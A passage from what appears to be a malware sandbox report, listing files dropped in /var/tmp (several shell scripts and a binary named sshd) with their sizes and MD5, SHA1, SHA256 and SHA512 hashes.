                                                                                                      8ecdf266fc81cd1ba7cd4d97f3bf0e0d

                                                                                                      SHA1

                                                                                                      c717efa67280f37ae572e27a3636976a7ca23580

                                                                                                      SHA256

                                                                                                      fe44ef6490fd7534cef77eea7521634d6a5c49388b1c0051ba6432a85a3c5df7

                                                                                                      SHA512

                                                                                                      5167a4f2cfac3efb7428705f8b349d7b69f62ff3594c621a3111eb1f5f8fb26e04c02c8ae87d6ac9090260065e0fefb963e84305126dc5b132396a631f8cc8f8

                                                                                                      Download Submit

                                                                                                    • /var/tmp/politrict.sh
                                                                                                      Filesize

                                                                                                      201B

                                                                                                      MD5

                                                                                                      bce9227af9bd25ffa6937bb73739366c

                                                                                                      SHA1

                                                                                                      a5191f835b7e419a05b10020dcafce812927a851

                                                                                                      SHA256

                                                                                                      623e7ad399c10f0025fba333a170887d0107bead29b60b07f5e93d26c9124955

                                                                                                      SHA512

                                                                                                      2432e1da87d06038bdde5fd0e9d46113e4365c913348720e9c22e986ca37988857e969e99cb17b562fbe757c8dc8c02c652e06a0b93535ed7641826072084b1a

                                                                                                      Download Submit

                                                                                                    • /var/tmp/retrict.sh
                                                                                                      Filesize

                                                                                                      754B

                                                                                                      MD5

                                                                                                      3c5e78207f8d379aafaca253de523b4d

                                                                                                      SHA1

                                                                                                      1df83ca30a444077c73f9058033d1c89a1c6fc6f

                                                                                                      SHA256

                                                                                                      9361a4af04108f51720120deb02b4af65ddf76077a91ec7288bc24fe6ebcffa8

                                                                                                      SHA512

                                                                                                      c5c8ba69115f9bc9e80ea84c15132e1794b6d9d22a0f9e6e922970ff53b002238a39d8f4e17b477ff9612f226f3112de3f550bbb823d75c719fe9498131d3feb

                                                                                                      Download Submit

                                                                                                    • /var/tmp/sshd
                                                                                                      Filesize

                                                                                                      6.7MB

                                                                                                      MD5

                                                                                                      50eafe708b0e411d6f5d31ce3ce14ec8

                                                                                                      SHA1

                                                                                                      24e6d617badd100b28061e01b7c3e1bff9266fac

                                                                                                      SHA256

                                                                                                      604b694943267865160c335e10efa0375ff8fc29589326dbf1a3939d321ca5c0

                                                                                                      SHA512

                                                                                                      8e928f15e5124e5722e9554ed480a89c045b2bd34f3607e027a04101f8d375371eedb5651b74c152f5e2e89edbe5ebc1f34de61454096e6a92cbf2fb3b32e741

                                                                                                      Download Submit

                                                                                                    • /var/tmp/truct.sh
                                                                                                      Filesize

                                                                                                      754B

                                                                                                      MD5

                                                                                                      00d7b8d6915e67fa3c1288e36b616b20

                                                                                                      SHA1

                                                                                                      8eb8ef37fe36fef617f1fb613cfe4861942b7556

                                                                                                      SHA256

                                                                                                      945212240921d8e1fa85a8c381ceb4a7e8299c3aefdeb49194a2bedfdf753522

                                                                                                      SHA512

                                                                                                      9655cc64f27dec5616a32aa8509119af3ca0dc1374c02a0e00aa25c6641f6b7e2d48970f8c2dd8a98a590026fccd5a1654a9539f056be855c887d1b64e1e9fff

                                                                                                      Download Submit

                                                                                                    • /var/tmp/unix.sh
                                                                                                      Filesize

                                                                                                      189B

                                                                                                      MD5

                                                                                                      55e75cb054e32f52a306f8c79ca8083b

                                                                                                      SHA1

                                                                                                      1faf6b67cc8ac3e18118413f209e01bb9d821faa

                                                                                                      SHA256

                                                                                                      05727581a43c61c5b71d959d0390d31985d7e3530c998194670a8d60e953e464

                                                                                                      SHA512

                                                                                                      18ddf3497c9cc9b1d8d54bc7876949df31cdf9e250411995003014c0b4ea4b6618c5a7eee7eaf62af4152378d26da476ff82536c334158757dd8168d46e7c2b2

                                                                                                      Download Submit